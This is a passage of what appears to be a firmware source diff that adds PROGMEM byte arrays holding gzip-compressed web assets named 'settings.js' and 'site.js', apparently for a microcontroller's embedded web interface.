0x7e, 0xf9, 0xe9, 0x8b, 0x7f, 0x79, 0xe0, 0x0f, 0x47, 0x7a, 0x84, 0xde, 0x82, 0x3c, 0x39, 0x9d, 0xe7, 0x9f, 0x13, 0x53, 0x37, 0xef, 0x43, 0x76, 0xd3, 0x0e, 0x74, 0xd3, 0xa0, 0x59, 0x99, 0xe2, 0x55, 0x9f, 0xb2, 0x6b, 0x78, 0xae, 0x6b, 0x10, 0xcd, 0x4c, 0x86, 0xfb, 0x9c, 0x97, 0x93, 0xa5, 0x30, 0xf4, 0xa6, 0x96, 0x86, 0x53, 0x9a, 0xae, 0x92, 0x8a, 0x46, 0xd7, 0xaf, 0xf2, 0x2f, 0x27, 0x79, 0x56, 0x86, 0x09, 0xe0, 0x0a, 0x30, 0x24, 0xd9, 0x62, 0x59, 0x92, 0xf2, 0xeb, 0x82, 0x4a, 0xfa, 0x34, 0xff, 0xe2, 0x12, 0x74, 0x96, 0x52, 0xc6, 0x9c, 0x00, 0xad, 0x03, 0x93, 0x1e, 0x7d, 0xb3, 0xca, 0x78, 0xc1, 0x75, 0x96, 0xdf, 0x56, 0x79, 0xdf, 0x6f, 0x88, 0x5e, 0x86, 0xd0, 0x3c, 0xb8, 0x60, 0x59, 0x2c, 0x29, 0x0a, 0x43, 0x65, 0x1c, 0xb1, 0x45, 0x98, 0x69, 0x56, 0xcd, 0xc3, 0x82, 0x37, 0x7b, 0x24, 0xc0, 0x1f, 0x6e, 0x76, 0x6b, 0x3e, 0xd4, 0x3d, 0x59, 0xd6, 0x5f, 0xfd, 0x3a, 0x76, 0x57, 0x96, 0x09, 0x26, 0xa5, 0x1c, 0xff, 0xaa, 0x0b, 0x70, 0xe5, 0xd2, 0x33, 0xce, 0x54, 0xad, 0x50, 0xb5, 0xf5, 0x3b, 0xec, 0xec, 0x15, 0x0c, 0x7f, 0x0c, 0xa7, 0x29, 0x6d, 0x00, 0xb1, 0x04, 0x7d, 0xd1, 0xf9, 0x30, 0x18, 0x72, 0x62, 0xa8, 0xa4, 0x58, 0xb9, 0x06, 0xbc, 0xab, 0xf1, 0xe2, 0x11, 0x10, 0x7c, 0x2b, 0x98, 0xdb, 0x00, 0x95, 0x6b, 0x31, 0x7c, 0xe3, 0x04, 0xb0, 0xb8, 0x2e, 0x99, 0x3b, 0xf9, 0x00, 0x9f, 0x2d, 0x0c, 0xe1, 0xc2, 0x9d, 0x1c, 0x7f, 0x68, 0x83, 0xf8, 0x90, 0x95, 0x0c, 0x70, 0xc4, 0x9d, 0xbc, 0x85, 0x27, 0x82, 0x8f, 0xdf, 0x1f, 0xab, 0x9b, 0xf1, 0x58, 0x07, 0xd8, 0x15, 0xaf, 0x86, 0xda, 0xca, 0x4b, 0x1d, 0xba, 0xc3, 0x05, 0x46, 0x95, 0x83, 0x24, 0x60, 0xad, 0x55, 0xc9, 0x41, 0x40, 0x26, 0x63, 0x32, 0xe0, 0x40, 0xc8, 0xd9, 0x8d, 0x3e, 0xd0, 0x22, 0xc6, 0x61, 0x0e, 0x35, 0x7f, 0x77, 0xe8, 0x6d, 0xe9, 0x59, 0xaa, 0x79, 0xfb, 0x6d, 0x8d, 0x6b, 0x73, 0xf3, 0x54, 0xd5, 0x0c, 0xb6, 0xe8, 0xa0, 0x16, 0xa0, 0x54, 0x55, 0xf8, 0x36, 0xb4, 0xdc, 0x34, 0x09, 0xa8, 0x0a, 0x86, 0xeb, 0xc6, 0x01, 0x9d, 0xb1, 0x7d, 0x26, 0xf0, 0x1f, 0x65, 0x26, 0x10, 0xb5, 0xb6, 0x66, 0xb3, 0x0d, 0x30, 0xc4, 0xaa, 0x34, 0xb5, 0x60, 0x41, 0x3a, 0x5e, 0xb8, 0x50, 0x39, 0x8f, 0x3f, 0x58, 0x50, 0xb3, 0xae, 0xcd, 0x35, 0x2b, 0x36, 0x10, 0xaa, 0xae, 0xe2, 0x1f, 0x15, 0xa4, 0xfc, 0x1f, 0x13, 0xa4, 0xfc, 0xff, 0x06, 0x52, 0xac, 0x6c, 0x07, 0xa9, 0xbb, 0x1d, 0xfd, 0xf0, 0x8a, 0xa9, 0xc5, 0x36, 0x9c, 0x5e, 0x39, 0xa6, 0x71, 0xc6, 0x6a, 0x85, 0xcc, 0xc4, 0xb3, 0xea, 0x2c, 0xfd, 0x08, 0x30, 0xf6, 0x18, 0x87, 0xb9, 0x8d, 0x48, 0x25, 0x80, 0x68, 0xf7, 0xd5, 0x9a, 0xf3, 0xee, 0x5a, 0x28, 0x64, 0xa1, 0x01, 0x2d, 0x8f, 0x09, 0x4f, 0x06, 0x3e, 0x35, 0xfd, 0x6b, 0x81, 0xa5, 0x8a, 0x05, 0x2b, 0x51, 0x79, 0xd6, 0x41, 0xe8, 0xbb, 0xe3, 0x03, 0x46, 0x13, 0x4e, 0x8b, 0x59, 0x49, 0xb3, 0xf2, 0x34, 0x4e, 0x4a, 0x4c, 0xcd, 0xb1, 0x8b, 0x85, 0xe5, 0x92, 0x24, 0x16, 0x91, 0xfa, 0xc4, 0xf5, 0x7c, 0x52, 0x00, 0x40, 0xdd, 0xcb, 0xe0, 0xde, 0x93, 0xb3, 0x2a, 0xed, 0x6f, 0x07, 0x3e, 0x3c, 0x61, 0xb6, 0xb4, 0xb3, 0x82, 0x88, 0xe6, 0x52, 0x00, 0x0e, 0x6c, 0x39, 0x65, 0x65, 0x91, 0x40, 0x4f, 0x1f, 0xf4, 0xfd, 0xe7, 0xbd, 0x2d, 0xda, 0x38, 0x24, 0xe2, 0x96, 0xcb, 0x86, 0x8b, 0xa9, 0x7a, 0xce, 0x55, 0x57, 0x6e, 0x20, 0x6c, 0x95, 0xd8, 0x56, 0x7c, 0xdc, 0x72, 0xb5, 0x15, 0x92, 0xaa, 0x0b, 0x3d, 0xdb, 0x0c, 0xa0, 0xb2, 0x32, 0xf4, 0x3e, 0xc7, 0xef, 0x07, 0x94, 0x4e, 0x87, 0x4c, 0xdd, 0x26, 0x0a, 0xe2, 0x4b, 0x0d, 0x06, 0x95, 0x53, 0x7b, 0x28, 0x5a, 0xde, 0x8f, 0x88, 0x22, 0xc3, 0x1f, 0x13, 0x45, 0x86, 0x0f, 0x43, 0x91, 0x1a, 0x46, 0xb2, 0x75, 0x28, 0xa2, 0x5f, 0x83, 0xe2, 0x30, 0xd0, 0x45, 0x4f, 0x56, 0x40, 0x12, 0xcd, 0xe3, 0xf3, 0x92, 0x5f, 0x0f, 0x21, 0x89, 0x88, 0xee, 0xc6, 0x39, 0xf0, 0x88, 0x8d, 0x83, 0x13, 0x1c, 0xa5, 0x18, 0xe1, 0xde, 0xa9, 0x06, 0x08, 0xb2, 0x5b, 0x82, 0xf7, 0x25, 0x84, 0x81, 0xd4, 0xc7, 0x64, 0x8e, 0xab, 0xf3, 0x9b, 0x03, 0xcf, 0x61, 0xbc, 0x05, 0x81, 0xad, 0x64, 0x37, 0x9a, 0xd5, 0x7c, 0xd1, 0x0c, 0x38, 0xf2, 0x85, 0x18, 0x40, 0x94, 0x57, 0x55, 0x1c, 0xde, 0x64, 0x31, 0xfd, 0x12, 0x08, 0x1d, 0x23, 0xbe, 0xb1, 0x5f, 0x93, 0x14, 0x12, 0xaf, 0x58, 0x66, 0x2f, 0xc1, 0xc6, 0xb1, 0xe3, 0x09, 0x4b, 0x7b, 0x3a, 0x32, 0xa6, 0x79, 0x18, 0x73, 0x50, 0xe4, 0xb5, 0xc4, 0x48, 0x98, 0xc5, 0xfa, 0xa1, 0x4e, 0xd7, 0x82, 0x79, 0xcb, 0x7d, 0xe0, 0xf4, 0x49, 0xa5, 0x83, 0x8b, 0xaf, 0x58, 0x91, 0xba, 0xf7, 0x19, 0x8a, 0xc8, 0xe9, 0xd7, 0x1c, 0x05, 0x65, 0x9c, 0xa9, 0xa3, 0x5c, 0x3a, 0xff, 0x7e, 0xfe, 0xc7, 0xfb, 0x3d, 0x7e, 0xb7, 0xc7, 0xc9, 0xfc, 0x54, 0xb9, 0xba, 0x64, 0xc6, 0xaf, 0x77, 0xf8, 0xc9, 0x3f, 0x34, 0x54, 0xb6, 0x58, 0x84, 0x75, 0xcb, 0xda, 0x4d, 0xe2, 0xe4, 0x56, 0x9b, 0x94, 0xbb, 0xf1, 0x36, 0x9b, 0xe4, 0xec, 0xa0, 0x19, 0xa5, 0x7a, 0x71, 0x55, 0x21, 0x18, 0xf8, 0x7e, 0x12, 0xf7, 0xab, 0xb0, 0xe0, 0x12, 0xec, 0x36, 0x29, 0xa3, 0x59, 0x9d, 0x35, 0x9d, 0x28, 0x64, 0x94, 0x0c, 0x0e, 0x55, 0x7f, 0x88, 0x8b, 0x8f, 0x38, 0xb8, 0x78, 0x11, 0xe0, 0xa9, 0x6b, 0x35, 0x91, 0x34, 0x7d, 0x62, 0x0b, 0xac, 0x56, 0x8b, 0xce, 0xa1, 0x13, 0xf3, 0x12, 0x14, 0x2f, 0x09, 0x9c, 0xad, 0xa0, 0x38, 0x62, 0x21, 0x3c, 0x2d, 0x68, 0x78, 0x3d, 0xaa, 0x4c, 0xf0, 0x75, 0x13, 0x56, 0xe3, 0xed, 0xff, 0x61, 0x87, 0xd4, 0xde, 0x6a, 0xcc, 0x50, 0x18, 0x83, 0xcd, 0xb2, 0x62, 0x58, 0x75, 0xe3, 0x98, 0x9f, 0x17, 0x2d, 0x06, 0x29, 0x81, 0xb9, 0xb7, 0x45, 0xa8, 0xbe, 0x36, 0xe7, 0x4e, 0x8b, 0xa7, 0xec, 0x2b, 0x32, 0x98, 0xf7, 0x88, 0xe1, 0x1e, 0x5b, 0x40, 0x67, 0xc2, 0x2d, 0xf4, 0x89, 0xdf, 0xdb, 0xca, 0x6f, 0x62, 0xad, 0x07, 0xc4, 0xe9, 0xe1, 0x6b, 0x6d, 0x17, 0x8b, 0x7a, 0x0e, 0xb3, 0xaf, 0xb3, 0xd6, 0xf5, 0x72, 0xa1, 0x35, 0x2e, 0xae, 0x22, 0xfd, 0xad, 0xfe, 0x6d, 0x08, 0xe2, 0x2b, 0xdb, 0xb1, 0x84, 0xe6, 0x58, 0x0c, 0x4a, 0x6a, 0x5f, 0xde, 0x2b, 0xe8, 0x22, 0x0d, 0xc1, 0x18, 0x38, 0x6e, 0x42, 0x1f, 0xef, 0x03, 0x52, 0xc9, 0x29, 0x9e, 0x2f, 0x65, 0xd3, 0x80, 0xcf, 0xdb, 0xa9, 0x90, 0x53, 0x87, 0x55, 0x8b, 0xa4, 0x6d, 0xa7, 0x28, 0x9a, 0x59, 0x75, 0xf0, 0x7e, 0xbd, 0x95, 0x38, 0xfe, 0x00, 0x81, 0x76, 0xa0, 0x57, 0x9e, 0xa8, 0xe3, 0x6e, 0x8c, 0x33, 0x22, 0xf9, 0xe7, 0x1f, 0xb1, 0xdd, 0x26, 0x69, 0xc8, 0x49, 0xd5, 0x36, 0x9a, 0xd4, 0x7d, 0x4e, 0x05, 0xdb, 0x9a, 0x84, 0x67, 0x38, 0x2e, 0x27, 0x97, 0x5d, 0xb9, 0x2e, 0xcf, 0xef, 0xe6, 0x92, 0xdc, 0x96, 0x51, 0x93, 0x30, 0x0c, 0xe4, 0x30, 0x6e, 0x50, 0xf6, 0x91, 0x22, 0x2d, 0x31, 0x88, 0x78, 0xfd, 0x0c, 0x86, 0xc8, 0x21, 0x1d, 0x56, 0x6e, 0xac, 0x56, 0x5d, 0x3c, 0x80, 0xa1, 0xfe, 0x0b, 0x09, 0x1c, 0xb3, 0xfc, 0xf6, 0x1d, 0x65, 0x2c, 0xbc, 0x02, 0x87, 0x9d, 0x9e, 0x9d, 0xfd, 0x71, 0x76, 0x88, 0xe3, 0x31, 0x49, 0x32, 0x40, 0x3c, 0x8c, 0x0b, 0xcf, 0xc3, 0x82, 0x96, 0xcb, 0x22, 0xe3, 0x6d, 0x5a, 0xe8, 0xb6, 0x24, 0x26, 0x77, 0xfa, 0x2a, 0x33, 0x61, 0xd0, 0xd9, 0xcd, 0xc8, 0xdf, 0x8e, 0xe3, 0x35, 0x76, 0xe6, 0x39, 0x7f, 0x03, 0x69, 0x6e, 0x92, 0x06, 0x92, 0xc4, 0xc1, 0xb9, 0xb1, 0x2f, 0xd4, 0x36, 0x35, 0x45, 0xf6, 0x85, 0x08, 0x34, 0xa4, 0x66, 0x4f, 0x83, 0xbe, 0xb4, 0xcb, 0xe4, 0xcc, 0x55, 0xdd, 0x6a, 0xe9, 0xd5, 0xa5, 0x97, 0x0d, 0x5e, 0xaa, 0x28, 0x6d, 0x49, 0xf1, 0x5d, 0x7d, 0x5b, 0x33, 0x26, 0xc3, 0x03, 0x71, 0x60, 0x52, 0x7d, 0xf6, 0x9a, 0xde, 0x40, 0x11, 0x73, 0x18, 0x25, 0x6f, 0x13, 0x56, 0x92, 0x84, 0x01, 0x5c, 0xa6, 0xe9, 0x13, 0xe1, 0xba, 0xda, 0x73, 0x77, 0xe2, 0x6e, 0x77, 0x6d, 0xc7, 0x33, 0xbc, 0x0a, 0x56, 0x09, 0x8f, 0xe2, 0xce, 0x0d, 0x4c, 0xab, 0x1c, 0xa6, 0xb5, 0x38, 0x83, 0xcb, 0x0f, 0x8c, 0x1f, 0x08, 0xb9, 0xec, 0x08, 0x67, 0x38, 0x59, 0xdd, 0xd5, 0xa4, 0x5f, 0xef, 0x79, 0xb1, 0x64, 0xb3, 0xee, 0x85, 0x21, 0x75, 0x10, 0xf4, 0x8d, 0x77, 0xcf, 0x2d, 0xef, 0x06, 0x01, 0x94, 0x9d, 0xf9, 0x7a, 0x18, 0xf4, 0xf9, 0x48, 0x1b, 0x58, 0xbb, 0xaa, 0xad, 0x39, 0x6f, 0xe9, 0x11, 0x0d, 0x62, 0xa5, 0x5b, 0xcc, 0x66, 0x6c, 0x67, 0xe7, 0xb5, 0x06, 0x08, 0x86, 0x61, 0xfc, 0xb4, 0xca, 0xaf, 0xea, 0x94, 0xac, 0x78, 0x49, 0xf2, 0xac, 0x73, 0x54, 0xc3, 0x90, 0xbe, 0x9d, 0xb0, 0x0f, 0xee, 0x69, 0x5b, 0xb0, 0xbf, 0xe9, 0xae, 0x36, 0x16, 0x97, 0xb5, 0x07, 0x6d, 0xca, 0xfd, 0x7b, 0x38, 0x79, 0xb8, 0xc1, 0xc9, 0x6d, 0x46, 0x7a, 0xbc, 0x82, 0x07, 0x83, 0x43, 0xfd, 0x3f, 0xaf, 0x5d, 0xdf, 0xd1, 0xa7, 0x0c, 0xe9, 0x22, 0xc7, 0xe0, 0xc6, 0xd6, 0xbc, 0xc6, 0x0f, 0x40, 0xf4, 0x8d, 0x9d, 0xa8, 0xe5, 0x0b, 0xb5, 0xa4, 0xbd, 0x32, 0x07, 0xc7, 0xe3, 0x34, 0x15, 0x45, 0x2d, 0xbe, 0x6e, 0x98, 0x37, 0xda, 0xe7, 0x1c, 0xfb, 0xfc, 0xc7, 0xe4, 0x46, 0xb7, 0xfb, 0xc5, 0xde, 0xf8, 0xd1, 0x52, 0x99, 0x04, 0x1f, 0x5c, 0x0d, 0x6b, 0x2d, 0xac, 0xb2, 0x62, 0xbd, 0x99, 0xb6, 0x1f, 0x2b, 0xec, 0x3f, 0x4f, 0xdc, 0xcb, 0xe0, 0xe1, 0x03, 0x0c, 0x16, 0xa7, 0x0d, 0x9b, 0xb5, 0xb6, 0xab, 0x2b, 0xed, 0xb2, 0xea, 0xc0, 0x62, 0x9b, 0xd6, 0xea, 0xff, 0x05, 0x81, 0xf8, 0x88, 0x5b, 0xad, 0x23, 0x00, 0x00}; +const char settingsjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2e, 0x6a, 0x73, 0x00, 0x95, 0x54, 0xc1, 0x8e, 0xda, 0x30, 0x10, 0x3d, 0xc3, 0x57, 0xb8, 0xbe, 0x24, 0x51, 0x28, 0xa8, 0x3d, 0xf4, 0x00, 0x04, 0xa4, 0x56, 0x5d, 0xb5, 0xab, 0xed, 0x6e, 0xa5, 0xf6, 0xd6, 0x5d, 0x55, 0x26, 0x19, 0x88, 0x4b, 0xb0, 0x23, 0xdb, 0x04, 0x10, 0xca, 0xbf, 0x77, 0xec, 0x04, 0x48, 0x60, 0x97, 0x76, 0x2f, 0x91, 0xe3, 0x79, 0x9e, 0xf7, 0xde, 0x78, 0x3c, 0x05, 0x53, 0x44, 0x83, 0x31, 0x5c, 0x2c, 0xf4, 0xad, 0x96, 0x82, 0x44, 0x64, 0x5f, 0x8e, 0xba, 0xdd, 0xf9, 0x5a, 0xc4, 0x86, 0xe3, 0x7f, 0x26, 0x59, 0xe2, 0x07, 0xfb, 0x6e, 0x67, 0x01, 0xe6, 0x86, 0x67, 0xe0, 0xd3, 0x03, 0xbc, 0xff, 0x07, 0xf1, 0xb4, 0x77, 0x40, 0xfa, 0x0a, 0xb4, 0xc5, 0x75, 0xce, 0xd2, 0xdd, 0xfe, 0x78, 0xb8, 0xef, 0xe7, 0x4c, 0x69, 0x70, 0x88, 0x11, 0x22, 0x12, 0xc5, 0x36, 0xbe, 0x5d, 0x95, 0xf8, 0x29, 0x1b, 0x64, 0x55, 0x00, 0x93, 0x14, 0x28, 0x2b, 0x35, 0xab, 0x0c, 0xcf, 0x53, 0x8a, 0xc0, 0xb9, 0x54, 0xc4, 0xb7, 0x9b, 0x4b, 0xd8, 0x11, 0x2e, 0x5a, 0x92, 0x03, 0x62, 0x59, 0x6d, 0x20, 0x22, 0xa0, 0x63, 0x1f, 0x57, 0x8e, 0x85, 0xcf, 0x89, 0xdf, 0xc4, 0xf5, 0x53, 0xa6, 0x1f, 0x36, 0xe2, 0xbb, 0x92, 0x39, 0x28, 0xb3, 0x73, 0xb8, 0xea, 0x6c, 0xc7, 0x51, 0x85, 0xc8, 0x35, 0x4e, 0x78, 0x41, 0xe2, 0x8c, 0x69, 0x1d, 0x79, 0x4a, 0x6e, 0xbc, 0x09, 0xb5, 0xe1, 0x4e, 0xd8, 0x8e, 0xc4, 0x32, 0x7b, 0xfb, 0xa1, 0x19, 0xcb, 0xd8, 0x0c, 0xb2, 0x43, 0xb4, 0xe6, 0xbc, 0x67, 0x2b, 0x20, 0x34, 0xf4, 0xcd, 0x2e, 0x07, 0x39, 0x6f, 0x29, 0xfe, 0x85, 0xd4, 0x4f, 0x24, 0x42, 0xbe, 0x99, 0x94, 0x19, 0x30, 0x41, 0xc9, 0x94, 0x50, 0x97, 0xe4, 0x86, 0x6f, 0xe9, 0x90, 0xd2, 0x20, 0xa4, 0x1e, 0x41, 0xd3, 0x91, 0x47, 0x43, 0x04, 0xe3, 0xdf, 0xa4, 0x5e, 0x0c, 0xc7, 0x03, 0x07, 0x6c, 0xb0, 0x0f, 0x50, 0xda, 0x75, 0xa1, 0x23, 0x17, 0xb4, 0x1f, 0x3e, 0xff, 0x3f, 0x41, 0xee, 0x26, 0x9b, 0x85, 0x69, 0x59, 0x8c, 0x53, 0x88, 0x97, 0x1f, 0xe5, 0xf6, 0x93, 0x14, 0x86, 0x71, 0x01, 0xca, 0x9b, 0x8c, 0xb9, 0xc8, 0xd7, 0x86, 0xd8, 0xe4, 0x75, 0x7c, 0x26, 0xb7, 0x1e, 0x11, 0x58, 0x85, 0x93, 0x09, 0x5b, 0x8f, 0x4b, 0x5e, 0xf4, 0xee, 0x0e, 0x40, 0x42, 0xc9, 0x90, 0x38, 0xf3, 0x44, 0x8a, 0x38, 0x65, 0x62, 0x81, 0x67, 0x35, 0x2b, 0xc0, 0x7f, 0xa4, 0x75, 0x8a, 0x47, 0xda, 0x7b, 0xd3, 0xca, 0xd0, 0x88, 0x3c, 0x05, 0x28, 0x43, 0xe7, 0x4c, 0xb4, 0x64, 0xae, 0x98, 0x5a, 0xe2, 0xfe, 0xc0, 0x06, 0x26, 0xc7, 0xe2, 0xb9, 0x8a, 0x94, 0x90, 0x69, 0x20, 0xff, 0x2a, 0x89, 0x58, 0xaf, 0x66, 0xa0, 0x2e, 0x2b, 0xd2, 0x34, 0x5c, 0x61, 0x2e, 0xec, 0x16, 0x2c, 0x5b, 0x43, 0x44, 0xc3, 0x8b, 0xc4, 0xd7, 0x1d, 0xba, 0xd7, 0xf2, 0x55, 0x18, 0xdf, 0xa4, 0x5c, 0xf7, 0x5d, 0x92, 0x20, 0xf0, 0x5e, 0x25, 0x5a, 0x1b, 0x85, 0x9b, 0xd7, 0x45, 0x1b, 0xd8, 0x9a, 0x57, 0x49, 0xc6, 0xdb, 0xc3, 0x55, 0x14, 0xd1, 0x02, 0x94, 0xc6, 0xf7, 0x4a, 0xa7, 0x54, 0x01, 0x4b, 0xa4, 0xc8, 0x76, 0x75, 0xd3, 0x5e, 0x73, 0xd5, 0x30, 0x73, 0xf4, 0xd2, 0xad, 0xdb, 0xf2, 0x24, 0xf0, 0xac, 0x99, 0x5f, 0xee, 0xed, 0xeb, 0xcf, 0xf3, 0xdd, 0xfb, 0x66, 0x30, 0xc7, 0xd7, 0x93, 0xa1, 0xac, 0xe3, 0xf0, 0xfa, 0xed, 0x64, 0xa1, 0xe0, 0xf1, 0x20, 0x6f, 0xe0, 0x52, 0xf5, 0x32, 0x75, 0xf5, 0x6b, 0x65, 0xa3, 0xea, 0xd2, 0xcd, 0xc3, 0xcf, 0xa7, 0x61, 0x78, 0xc7, 0xb5, 0xa1, 0x41, 0x9f, 0x0b, 0x7c, 0x0c, 0x5f, 0x7e, 0x7e, 0xbb, 0xc3, 0x59, 0x64, 0x3d, 0xb5, 0xc7, 0x9b, 0x2b, 0x09, 0xf2, 0xf6, 0xaa, 0x2a, 0xdb, 0xcb, 0xc1, 0x7b, 0xb4, 0x42, 0xce, 0xe7, 0x66, 0x7d, 0x91, 0x15, 0xce, 0x72, 0x1e, 0xa7, 0xaf, 0x5a, 0x8b, 0x69, 0xbc, 0x4a, 0x22, 0x44, 0x93, 0xba, 0xb6, 0xc4, 0x56, 0xd9, 0x21, 0x6d, 0x9d, 0xa9, 0x1b, 0xac, 0xb6, 0x49, 0xf6, 0xcf, 0x9e, 0x43, 0x0d, 0xc7, 0x9e, 0x79, 0x66, 0x7a, 0x77, 0xaa, 0x81, 0xef, 0x7c, 0xba, 0x4c, 0xdd, 0xf2, 0x2f, 0xa0, 0x80, 0x2b, 0x1a, 0x24, 0x06, 0x00, 0x00}; +const char sitejs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x6a, 0x73, 0x00, 0x9d, 0x55, 0x5b, 0x6f, 0xe2, 0x46, 0x14, 0x7e, 0x86, 0x5f, 0x31, 0x3b, 0x95, 0xd6, 0xf6, 0x42, 0x6d, 0x94, 0xed, 0x43, 0x1b, 0x20, 0x55, 0x56, 0xca, 0xde, 0x44, 0xba, 0x12, 0x50, 0xa9, 0x52, 0xc8, 0xc3, 0xc4, 0x3e, 0x80, 0x1b, 0x33, 0xe3, 0x9d, 0x19, 0xb3, 0x41, 0x59, 0xfe, 0x7b, 0xcf, 0xcc, 0xf8, 0x0a, 0x69, 0xd5, 0x16, 0x29, 0xca, 0xf8, 0xdc, 0xcf, 0x77, 0x6e, 0x7b, 0x26, 0x49, 0xc6, 0xf8, 0xe6, 0xb3, 0x12, 0x9c, 0x4c, 0xc9, 0xf3, 0x71, 0xdc, 0xef, 0xaf, 0x0b, 0x1e, 0xeb, 0x14, 0xbf, 0x37, 0xa0, 0x6f, 0x7c, 0xce, 0x76, 0x10, 0x3c, 0xf7, 0x7b, 0x12, 0x74, 0x21, 0x39, 0x49, 0x44, 0x5c, 0xec, 0x80, 0xeb, 0xd0, 0x30, 0x33, 0x30, 0xcf, 0x77, 0x87, 0x4f, 0x89, 0x13, 0x1b, 0xf7, 0x8f, 0x2d, 0x75, 0x50, 0xb1, 0xaf, 0xb4, 0x0c, 0x08, 0x6a, 0xa7, 0x6b, 0xfb, 0xc4, 0x57, 0x65, 0x08, 0x3f, 0x43, 0x2d, 0x16, 0x5a, 0xa6, 0x7c, 0xe3, 0x07, 0x48, 0xef, 0x85, 0x12, 0xf2, 0x8c, 0xc5, 0xe0, 0x47, 0xaf, 0xa3, 0xcd, 0x90, 0x78, 0xaf, 0xd9, 0x2e, 0x1f, 0x7b, 0x27, 0xac, 0x89, 0x63, 0x65, 0xfa, 0x8c, 0x73, 0xe5, 0x38, 0x9b, 0x73, 0xce, 0x8a, 0x3a, 0xd6, 0xd7, 0x42, 0xbc, 0xc0, 0xf4, 0x1c, 0xf3, 0x87, 0xb7, 0xbf, 0x9c, 0xf3, 0xa2, 0x92, 0xf7, 0x74, 0xf1, 0x1e, 0x99, 0xe3, 0x7e, 0xef, 0x58, 0x03, 0x41, 0x69, 0x37, 0xdb, 0x58, 0xf0, 0x3d, 0x48, 0x3d, 0x4b, 0x39, 0xbc, 0x93, 0xc0, 0x1e, 0x55, 0x95, 0x70, 0x2b, 0x75, 0xfc, 0x8f, 0x20, 0x77, 0x33, 0x1f, 0x77, 0xe8, 0xb5, 0x6b, 0xff, 0xd7, 0xcb, 0x95, 0x5c, 0xf1, 0xef, 0x2b, 0xf9, 0x7d, 0xc5, 0x03, 0x0c, 0xc3, 0x9b, 0x3c, 0xc8, 0x2b, 0x1b, 0x43, 0x0b, 0xc1, 0x7f, 0x8c, 0x48, 0x6d, 0xc5, 0xb7, 0x5b, 0x50, 0x8a, 0x6d, 0xc0, 0xdf, 0x29, 0x4c, 0x24, 0xce, 0x84, 0x82, 0xeb, 0xb5, 0x06, 0x1b, 0xcd, 0x1e, 0x4b, 0x0f, 0xd9, 0x4e, 0xa3, 0x67, 0x5b, 0x68, 0x0a, 0x52, 0x0a, 0x49, 0x8d, 0x07, 0x43, 0x0e, 0x53, 0xce, 0x41, 0x7e, 0x5c, 0xde, 0xce, 0x50, 0xc0, 0x94, 0x12, 0x4d, 0x04, 0x03, 0x3a, 0x61, 0x44, 0xf0, 0x38, 0x4b, 0xe3, 0xc7, 0xa9, 0x67, 0xed, 0x55, 0x1e, 0x02, 0x8f, 0xa4, 0x49, 0x49, 0xbb, 0x31, 0x96, 0xbc, 0xab, 0xa7, 0x49, 0xc4, 0xae, 0x30, 0xa8, 0x5e, 0x69, 0x31, 0xce, 0x98, 0x52, 0xb3, 0x54, 0x69, 0x4c, 0x73, 0x27, 0xf6, 0xe0, 0x7b, 0xdb, 0x34, 0x01, 0xaf, 0xf6, 0xd8, 0xf0, 0x59, 0x92, 0xf8, 0x9e, 0x89, 0xdf, 0x30, 0x2d, 0x84, 0x4d, 0xec, 0xe4, 0xd5, 0x74, 0x4a, 0x0a, 0x9e, 0xc0, 0x1a, 0xa1, 0x4e, 0x1c, 0xae, 0xa0, 0x97, 0xe9, 0x0e, 0x44, 0xa1, 0xfd, 0x6e, 0x4c, 0xc3, 0x56, 0xca, 0x16, 0xab, 0x4e, 0xc5, 0x3a, 0xa2, 0xff, 0x11, 0x11, 0x03, 0xf6, 0xdf, 0x65, 0x55, 0x05, 0xfe, 0x62, 0x56, 0x55, 0xca, 0xc7, 0xee, 0xa0, 0xbd, 0x4f, 0x33, 0xf0, 0x59, 0x22, 0xb1, 0x4a, 0x2c, 0xcb, 0x1e, 0x58, 0xfc, 0x38, 0x24, 0xda, 0xe5, 0x34, 0x24, 0x3b, 0xd0, 0x5b, 0x91, 0x0c, 0x11, 0xf9, 0x65, 0x45, 0x12, 0xdc, 0x82, 0x6c, 0xc2, 0x8e, 0xde, 0x90, 0x75, 0xa9, 0x83, 0x3d, 0x51, 0xac, 0xd7, 0xe4, 0x4d, 0x64, 0x31, 0x43, 0x73, 0x64, 0xda, 0x01, 0x8b, 0xb8, 0x56, 0x19, 0x3b, 0x48, 0x2b, 0xa5, 0x13, 0x99, 0x86, 0x4e, 0xaa, 0x08, 0x11, 0x9e, 0xa3, 0x53, 0x2a, 0x63, 0x3a, 0xd5, 0xa9, 0xc9, 0xe4, 0xe7, 0xd1, 0x68, 0x34, 0x26, 0x56, 0xd6, 0x85, 0x7d, 0x2a, 0x5a, 0x51, 0x09, 0xfd, 0x70, 0xb3, 0xa4, 0xce, 0x6a, 0x9d, 0xd8, 0xa9, 0xb0, 0xa9, 0x6e, 0x8b, 0xd9, 0x0e, 0xc8, 0x8c, 0x6a, 0xbb, 0xc5, 0xe9, 0xcd, 0x7c, 0xfe, 0x65, 0x7e, 0x59, 0x87, 0x92, 0x09, 0x96, 0xe0, 0x84, 0x91, 0x35, 0x22, 0x4b, 0xe8, 0x00, 0xc1, 0xb0, 0xc3, 0x73, 0x74, 0x33, 0x63, 0x9d, 0x5a, 0x08, 0x4f, 0x5c, 0x3a, 0x8f, 0x25, 0xe7, 0xdf, 0xf8, 0x6b, 0xfb, 0xb9, 0x3c, 0x77, 0x64, 0xeb, 0x13, 0xe3, 0x46, 0xd0, 0x80, 0xe8, 0x7f, 0x2d, 0x40, 0x69, 0x5b, 0x1f, 0xd3, 0x6c, 0xd5, 0xf7, 0x94, 0x70, 0xf8, 0x46, 0xfe, 0xb8, 0x9d, 0x7d, 0xd4, 0x3a, 0x9f, 0x3b, 0xa2, 0xdd, 0x0c, 0x56, 0x19, 0xbb, 0x9b, 0xe4, 0x4c, 0xe2, 0x82, 0x35, 0xdd, 0xbf, 0x16, 0xb2, 0x63, 0xa7, 0x7c, 0x87, 0x22, 0x07, 0xee, 0x57, 0x8d, 0x02, 0x3c, 0x16, 0x09, 0xfc, 0x3e, 0xff, 0x64, 0x7a, 0x20, 0xc0, 0x4e, 0x92, 0x85, 0xd9, 0xce, 0xb5, 0x70, 0x53, 0xae, 0xf2, 0xd5, 0xe2, 0x09, 0xde, 0x70, 0x6b, 0xe8, 